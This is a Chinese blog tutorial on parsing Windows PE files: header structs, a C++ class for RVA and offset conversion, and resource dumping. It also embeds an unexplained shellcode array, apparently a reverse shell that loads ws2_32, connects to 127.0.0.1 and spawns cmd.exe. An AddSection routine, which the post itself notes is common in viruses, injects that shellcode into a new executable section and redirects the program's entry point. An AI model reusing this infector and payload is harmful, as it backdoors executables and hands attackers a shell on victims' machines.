PE格式解析-源码解析

一、相关PE结构体信息

PE平面结构图
IMAGE_DOS_HEADER——DOS头

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_NT_HEADERS——NT头

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Signature:PE标识0x04字节 50 45 00 00
FileHeader:文件头0x14字节
OptionalHeader:可选头0xE0字节

IMAGE_SECTION_HEADER——区段头

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

二、解析PE类

PEFile.h

#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>

class CPEFile
{
public:
    CPEFile();
    ~CPEFile();
    bool Init(char * filename);// 初始化,获取DOS头与NT头
    unsigned int GetEntryPoint();// 获取程序入口点
    unsigned int GetImageBase();// 获取基址
    unsigned int GetImageSize();// 获取映像大小
    bool AddSection(char * name,unsigned int size);// 添加一个区段
    unsigned int GetSectionCnt();// 获取区段数量
    IMAGE_SECTION_HEADER * GetFirstSection();// 获取第一个区段信息
    IMAGE_SECTION_HEADER * GetLastSection();// 获取最后一个区段信息
    unsigned int GetSectionAlignment();// 获取内存中的对齐值
    unsigned int GetFileAlignment();// 获取文件的对齐值
    unsigned int GetRVA(unsigned int offset);// 根据文件偏移量获取RVA
    unsigned int GetOffset(unsigned int RVA);// 根据RVA获取文件偏移量
    unsigned int GetResource();// 
    unsigned int GetResourceItem(IMAGE_RESOURCE_DIRECTORY * pRoot, unsigned int offset,unsigned int level);
private:
    FILE * fp;
    unsigned int m_nFileSize;
    byte * m_pBuf;//文件在本程序的内存缓冲区
    IMAGE_DOS_HEADER * m_pDosHeader;
    IMAGE_NT_HEADERS * m_pNtHeader;
    IMAGE_SECTION_HEADER * m_pTextSectionHeader;
};

PEFile.cpp

#include "PEFile.h"

unsigned char shellcode[776] = {
    0x58, 0x66, 0x05, 0x13, 0x02, 0xFF, 0xE0, 0xE8, 0xF4, 0xFF, 0xFF, 0xFF, 0x55, 0x8B, 0xEC, 0x33,
    0xDB, 0x66, 0xBB, 0x30, 0x02, 0x2B, 0xE3, 0x53, 0x56, 0x57, 0xB9, 0x8D, 0x10, 0xB7, 0xF8, 0xE8,
    0xE3, 0xFF, 0xFF, 0xFF, 0x89, 0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0xC6, 0x45, 0xE7, 0x77, 0xC6, 0x45,
    0xE8, 0x73, 0xC6, 0x45, 0xE9, 0x32, 0xC6, 0x45, 0xEA, 0x5F, 0xC6, 0x45, 0xEB, 0x33, 0xC6, 0x45,
    0xEC, 0x32, 0xC6, 0x45, 0xED, 0x2E, 0xC6, 0x45, 0xEE, 0x64, 0xC6, 0x45, 0xEF, 0x6C, 0xC6, 0x45,
    0xF0, 0x6C, 0x32, 0xC0, 0x88, 0x45, 0xF1, 0x36, 0x8D, 0x45, 0xE7, 0x50, 0xFF, 0x95, 0xE4, 0xFD,
    0xFF, 0xFF, 0xB9, 0x40, 0xD5, 0xDC, 0x2D, 0xE8, 0x9B, 0xFF, 0xFF, 0xFF, 0xB9, 0x6F, 0xF1, 0xD4,
    0x9F, 0x8B, 0xF0, 0xE8, 0x8F, 0xFF, 0xFF, 0xFF, 0xB9, 0x82, 0xA1, 0x0D, 0xA5, 0x8B, 0xF8, 0xE8,
    0x83, 0xFF, 0xFF, 0xFF, 0xB9, 0x70, 0xBE, 0x1C, 0x23, 0x89, 0x85, 0xD0, 0xFD, 0xFF, 0xFF, 0xE8,
    0x73, 0xFF, 0xFF, 0xFF, 0xB9, 0xD1, 0xFE, 0x73, 0x1B, 0x89, 0x85, 0xD4, 0xFD, 0xFF, 0xFF, 0xE8,
    0x63, 0xFF, 0xFF, 0xFF, 0xB9, 0xE2, 0xFA, 0x1B, 0x01, 0xE8, 0x59, 0xFF, 0xFF, 0xFF, 0xB9, 0xC9,
    0x53, 0x29, 0xDC, 0x89, 0x85, 0xDC, 0xFD, 0xFF, 0xFF, 0xE8, 0x49, 0xFF, 0xFF, 0xFF, 0xB9, 0x6E,
    0x85, 0x1C, 0x5C, 0x8B, 0xD8, 0xE8, 0x3D, 0xFF, 0xFF, 0xFF, 0xB9, 0xE0, 0x53, 0x31, 0x4B, 0x89,
    0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0xE8, 0x2D, 0xFF, 0xFF, 0xFF, 0xB9, 0x98, 0x94, 0x8E, 0xCA, 0x89,
    0x85, 0xD8, 0xFD, 0xFF, 0xFF, 0xE8, 0x1D, 0xFF, 0xFF, 0xFF, 0x89, 0x85, 0xE0, 0xFD, 0xFF, 0xFF,
    0x8D, 0x85, 0x48, 0xFE, 0xFF, 0xFF, 0x50, 0x33, 0xC0, 0x66, 0xB8, 0x02, 0x02, 0x50, 0xFF, 0xD6,
    0x50, 0x50, 0x50, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xFF, 0xD7, 0x8B, 0xF0, 0xC6, 0x45, 0xE7,
    0x31, 0xC6, 0x45, 0xE8, 0x32, 0xC6, 0x45, 0xE9, 0x37, 0xC6, 0x45, 0xEA, 0x2E, 0xC6, 0x45, 0xEB,
    0x30, 0xC6, 0x45, 0xEC, 0x2E, 0xC6, 0x45, 0xED, 0x30, 0xC6, 0x45, 0xEE, 0x2E, 0xC6, 0x45, 0xEF,
    0x31, 0x32, 0xC0, 0x88, 0x45, 0xF0, 0x8D, 0x85, 0x44, 0xFE, 0xFF, 0xFF, 0x50, 0x33, 0xC0, 0x50,
    0x50, 0x8D, 0x45, 0xE7, 0x50, 0xFF, 0xD3, 0x6A, 0x02, 0x50, 0x50, 0x6A, 0x10, 0x8D, 0x45, 0xEC,
    0x50, 0x8B, 0x85, 0x44, 0xFE, 0xFF, 0xFF, 0xFF, 0x70, 0x10, 0xFF, 0x70, 0x18, 0xFF, 0x95, 0xE4,
    0xFD, 0xFF, 0xFF, 0x8D, 0x45, 0xEC, 0xB1, 0x52, 0xC1, 0xE1, 0x18, 0xB1, 0x02, 0x89, 0x4D, 0xDC,
    0x50, 0xFF, 0x95, 0xDC, 0xFD, 0xFF, 0xFF, 0x33, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x89, 0x45, 0xE0,
    0x8D, 0x45, 0xDC, 0x6A, 0x10, 0x50, 0x56, 0xFF, 0x95, 0xD0, 0xFD, 0xFF, 0xFF, 0x33, 0xC9, 0xB1,
    0x44, 0x8D, 0x85, 0xE8, 0xFD, 0xFF, 0xFF, 0x33, 0xD2, 0x88, 0x10, 0x8D, 0x40, 0x01, 0x49, 0x75,
    0xF8, 0x33, 0xC0, 0x33, 0xDB, 0xB3, 0x44, 0x89, 0x9D, 0xE8, 0xFD, 0xFF, 0xFF, 0xB3, 0x01, 0xC1,
    0xE3, 0x08, 0x89, 0x9D, 0x14, 0xFE, 0xFF, 0xFF, 0x66, 0x89, 0x85, 0x18, 0xFE, 0xFF, 0xFF, 0x89,
    0xB5, 0x28, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0x24, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0x20, 0xFE, 0xFF,
    0xFF, 0xC6, 0x45, 0xE7, 0x63, 0xC6, 0x45, 0xE8, 0x6D, 0xC6, 0x45, 0xE9, 0x64, 0xC6, 0x45, 0xEA,
    0x2E, 0xC6, 0x45, 0xEB, 0x65, 0xC6, 0x45, 0xEC, 0x78, 0xC6, 0x45, 0xED, 0x65, 0x88, 0x45, 0xEE,
    0x8D, 0x85, 0x34, 0xFE, 0xFF, 0xFF, 0x50, 0x8D, 0x85, 0xE8, 0xFD, 0xFF, 0xFF, 0x50, 0x51, 0x51,
    0x51, 0x6A, 0x01, 0x51, 0x51, 0x8D, 0x45, 0xE7, 0x50, 0x51, 0xFF, 0x95, 0xD4, 0xFD, 0xFF, 0xFF,
    0x6A, 0xFF, 0xFF, 0xB5, 0x34, 0xFE, 0xFF, 0xFF, 0xFF, 0x95, 0xE0, 0xFD, 0xFF, 0xFF, 0xC3, 0x55,
    0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x89, 0x4D, 0xF8, 0x33, 0xC9, 0xB1, 0x30, 0x64, 0x8B, 0x01, 0x89,
    0x45, 0xFC, 0x8B, 0x45, 0xFC, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x14, 0x8B, 0xD0,
    0x89, 0x45, 0xEC, 0x8B, 0x5A, 0x10, 0x8D, 0x42, 0xF8, 0x8B, 0x12, 0x89, 0x55, 0xF0, 0x85, 0xDB,
    0x74, 0x21, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x85, 0xC0, 0x74, 0x16, 0x8B, 0x4C, 0x18,
    0x0C, 0x8D, 0x3C, 0x18, 0x03, 0xCB, 0x89, 0x7D, 0xFC, 0x33, 0xF6, 0x8A, 0x01, 0x84, 0xC0, 0x74,
    0x1A, 0xEB, 0x02, 0xEB, 0x62, 0xC1, 0xCE, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83,
    0xE8, 0x20, 0x41, 0x03, 0xF0, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xEA, 0x8B, 0x4D, 0xFC, 0x8B, 0x47,
    0x20, 0x33, 0xFF, 0x03, 0xC3, 0x89, 0x45, 0xF4, 0x39, 0x79, 0x18, 0x76, 0x3A, 0x8B, 0x14, 0xB8,
    0x33, 0xC0, 0x03, 0xD3, 0x8A, 0x0A, 0x84, 0xC9, 0x74, 0x17, 0xC1, 0xC8, 0x0D, 0x80, 0xF9, 0x61,
    0x0F, 0xBE, 0xC9, 0x7C, 0x03, 0x83, 0xE9, 0x20, 0x42, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9, 0x75,
    0xE9, 0x03, 0xC6, 0x39, 0x45, 0xF8, 0x74, 0x21, 0x8B, 0x45, 0xFC, 0x47, 0x3B, 0x78, 0x18, 0x8B,
    0x45, 0xF4, 0x72, 0xC9, 0x8B, 0x55, 0xF0, 0x3B, 0x55, 0xEC, 0x0F, 0x85, 0x63, 0xFF, 0xFF, 0xFF,
    0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x55, 0xFC, 0x8B, 0x42, 0x24, 0x8D,
    0x04, 0x78, 0x0F, 0xB7, 0x0C, 0x18, 0x8B, 0x42, 0x1C, 0x5F, 0x5E, 0x8D, 0x04, 0x88, 0x8B, 0x04,
    0x18, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};

CPEFile::CPEFile()
{
    m_nFileSize = 0;
    m_pBuf = 0;
    m_pDosHeader = 0;
    m_pNtHeader = 0;
}


CPEFile::~CPEFile()
{
    if (m_pBuf)
    {
        delete[] m_pBuf;
    }
}

bool CPEFile::Init(char * filename)
{
    fp = fopen(filename, "rb+");
    if (fp == 0)
    {
        return false;
    }
    fseek(fp,0, SEEK_END);
    m_nFileSize = ftell(fp);
    if (m_pBuf)
    {
        delete[] m_pBuf;
    }
    m_pBuf = new byte[m_nFileSize];
    fseek(fp,0, SEEK_SET);
    fread(m_pBuf, 1, m_nFileSize, fp);
    fclose(fp);
    m_pDosHeader = (IMAGE_DOS_HEADER *)m_pBuf;
    m_pNtHeader = (IMAGE_NT_HEADERS *)(m_pBuf + m_pDosHeader->e_lfanew);
    return true;
}

unsigned int CPEFile::GetEntryPoint()
{
    if (m_pNtHeader)
        return m_pNtHeader->OptionalHeader.AddressOfEntryPoint;
    return 0;
}

unsigned int CPEFile::GetImageBase()
{
    if (m_pNtHeader)
        return m_pNtHeader->OptionalHeader.ImageBase;
    return 0;
}

unsigned int CPEFile::GetImageSize()
{
    if (m_pNtHeader)
        return m_pNtHeader->OptionalHeader.SizeOfImage;
    return 0;

}

// 添加一个区段。。。病毒里面常用。。。
bool CPEFile::AddSection(char * name, unsigned int size)
{
    IMAGE_SECTION_HEADER * newSection = GetLastSection();
    newSection++;

    // 新区段的名称
    sprintf_s((char *)newSection->Name, 8, name);
    IMAGE_SECTION_HEADER * lastSection = GetLastSection();
    //内存中偏移与大小
    newSection->VirtualAddress = lastSection->VirtualAddress + lastSection->Misc.VirtualSize;
    if (newSection->VirtualAddress % GetSectionAlignment())
    {
        newSection->VirtualAddress += (GetSectionAlignment() - newSection->VirtualAddress % GetSectionAlignment());
    }
    newSection->Misc.VirtualSize = size;
    // 文件中偏移与大小
    newSection->PointerToRawData = lastSection->PointerToRawData + lastSection->SizeOfRawData;
    if (newSection->PointerToRawData % GetFileAlignment())
    {
        newSection->PointerToRawData += (GetFileAlignment() - newSection->PointerToRawData % GetFileAlignment());
    }
    newSection->SizeOfRawData = size;
    // 区段属性
    newSection->Characteristics = 0xE0000020;//可执行,可读取,可写入
    // newSection->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

    m_pNtHeader->FileHeader.NumberOfSections += 1;

    m_pNtHeader->OptionalHeader.SizeOfCode += size;
    m_pNtHeader->OptionalHeader.SizeOfImage += size;
    // 修改入口点到新加入的区段中..
    m_pNtHeader->OptionalHeader.AddressOfEntryPoint = newSection->VirtualAddress + 0x0c;
    printf("start to save ...\n");
    FILE * fpbak = fopen("bk.exe", "wb+");
    if (fpbak == 0)
    {
        printf("open bk.exe failed\n");
        return false;
    }
    fseek(fpbak, 0, SEEK_SET);
    fwrite(m_pBuf, m_nFileSize, 1, fpbak);
    byte * tmp = new byte[size];
    memset(tmp, 0, size);
    fwrite(tmp, size, 1, fpbak);
    fseek(fpbak, 0 - size, SEEK_END);
    fwrite(shellcode, sizeof(shellcode), 1, fpbak);
    fclose(fpbak);
    delete[] tmp;
    return false;
}
/************************************************************************/
/* 获取区段数量                                                           */
/************************************************************************/
unsigned int CPEFile::GetSectionCnt()
{
    return m_pNtHeader->FileHeader.NumberOfSections;
}
/************************************************************************/
/* 获取第一个区段的索引表项目                                              */
/************************************************************************/
IMAGE_SECTION_HEADER * CPEFile::GetFirstSection()
{
    return (IMAGE_SECTION_HEADER *)(m_pBuf + m_pDosHeader->e_lfanew + 0xf8);
}
/************************************************************************/
/* 获取最后一个区段的索引表项目                                            */
/************************************************************************/
IMAGE_SECTION_HEADER * CPEFile::GetLastSection()
{
    IMAGE_SECTION_HEADER * tmp = GetFirstSection();
    for (unsigned int i = 0; i < GetSectionCnt() - 1;i++)
    {
        tmp++;
    }
    return tmp;
}
/************************************************************************/
/* 获取在内存中的对齐值                                                    */
/************************************************************************/
unsigned int CPEFile::GetSectionAlignment()
{
    return m_pNtHeader->OptionalHeader.SectionAlignment;
}
/************************************************************************/
/* 获取在文件中的对齐值                                                    */
/************************************************************************/
unsigned int CPEFile::GetFileAlignment()
{
    return m_pNtHeader->OptionalHeader.FileAlignment;
}
/************************************************************************/
/* 从文件偏移转换成内存偏移RVA                                             */
/************************************************************************/
unsigned int CPEFile::GetRVA(unsigned int offset)
{
    IMAGE_SECTION_HEADER * tmp = GetFirstSection();
    // 遍历所有区段,找包含本文件偏移的区段,并返回RVA
    for (unsigned int i = 0; i < GetSectionCnt() - 1;i++)
    {
        if (tmp->PointerToRawData <= offset && (tmp->PointerToRawData+tmp->SizeOfRawData)>offset)
        {
            return tmp->VirtualAddress + offset - tmp->PointerToRawData;
        }
        tmp++;
    }
    return 0;
}
/************************************************************************/
/* 从RVA转换成文件偏移                                                                     */
/************************************************************************/
unsigned int CPEFile::GetOffset(unsigned int RVA)
{
    IMAGE_SECTION_HEADER * tmp = GetFirstSection();
    // 遍历所有区段,找包含本RVA的区段,并返回文件偏移
    for (unsigned int i = 0; i < GetSectionCnt() - 1; i++)
    {
        if (tmp->VirtualAddress <= RVA && (tmp->VirtualAddress + tmp->Misc.VirtualSize)>RVA)
        {
            return tmp->PointerToRawData + RVA - tmp->VirtualAddress;
        }
        tmp++;
    }
    return 0;
}

unsigned int CPEFile::GetResource()
{
    IMAGE_RESOURCE_DIRECTORY * pRoot = (IMAGE_RESOURCE_DIRECTORY *)(m_pBuf + GetOffset((unsigned int)m_pNtHeader->OptionalHeader.DataDirectory[2].VirtualAddress));
    return GetResourceItem(pRoot,0,1);
}
//**写成递归方式。。。
unsigned int CPEFile::GetResourceItem(IMAGE_RESOURCE_DIRECTORY * pRoot, unsigned int offset,unsigned int level)
{
    IMAGE_RESOURCE_DIRECTORY * pNow = (IMAGE_RESOURCE_DIRECTORY *)((LPBYTE)pRoot + offset);
    unsigned int nItemCnt = pNow->NumberOfIdEntries + pNow->NumberOfNamedEntries;
    for (unsigned int n = 0; n < nItemCnt; n++)
    {
        IMAGE_RESOURCE_DIRECTORY_ENTRY * pDirectoryEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)((LPBYTE)pNow +16 + n * 8);
        for (unsigned int i = 0; i < level;i++)
        {
            printf("\t");
        }
        if (pDirectoryEntry->NameIsString)
        {
            wprintf(L"%d,name %s , ",level, (WCHAR *)((LPBYTE)pRoot + pDirectoryEntry->NameOffset + 2));
        }
        else
        {
            printf("%d,id : %08X , ",level, pDirectoryEntry->Id);
        }
        if (pDirectoryEntry->DataIsDirectory)
        {
            printf("resource directory\n");
            GetResourceItem(pRoot, pDirectoryEntry->OffsetToData & 0x7fffffff,level+1);
        }
        else
        {
            IMAGE_RESOURCE_DATA_ENTRY * pData = (IMAGE_RESOURCE_DATA_ENTRY *)((LPBYTE)pRoot + pDirectoryEntry->OffsetToData);
            printf("data entry RVA %08X,size %8d\n", pData->OffsetToData,pData->Size);
            char filename[50];
            sprintf_s(filename, "RVA%08X-OFFSET%08x-SIZE%08X", pData->OffsetToData,GetOffset(pData->OffsetToData),pData->Size);
            FILE * fp = fopen(filename, "wb+");
            if (fp)
            {
                fseek(fp, 0, SEEK_SET);
                fwrite(m_pBuf + GetOffset(pData->OffsetToData), pData->Size, 1, fp);
                fclose(fp);
            }
        }
    }
    return pRoot->NumberOfNamedEntries + pRoot->NumberOfIdEntries;
}

测试代码(test.exe为一个可执行程序)

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include "PEFile.h"

int main(int argc, char *argv[])
{
    printf("PE解析\n");
    CPEFile pefile;
    pefile.Init("test.exe");
    printf("入口点  \t: %08X\n", pefile.GetEntryPoint());
    printf("镜像基址\t: %08X\n", pefile.GetImageBase());
    printf("镜像大小\t: %08X\n", pefile.GetImageSize());
    printf("offset 0x500 - RVA = %08X\n", pefile.GetRVA(0x500));
    pefile.GetResource();
    return 0;
}

本文难免有所错误,如有问题欢迎留言

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值